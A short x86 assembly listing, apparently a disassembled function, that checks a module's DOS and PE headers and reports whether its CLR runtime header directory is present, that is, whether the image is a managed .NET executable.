test eax, eax
je 0x401a9b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a9b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a9b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a9b
cmp dword [ecx + 0x74], 0xe
jbe 0x401a9b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret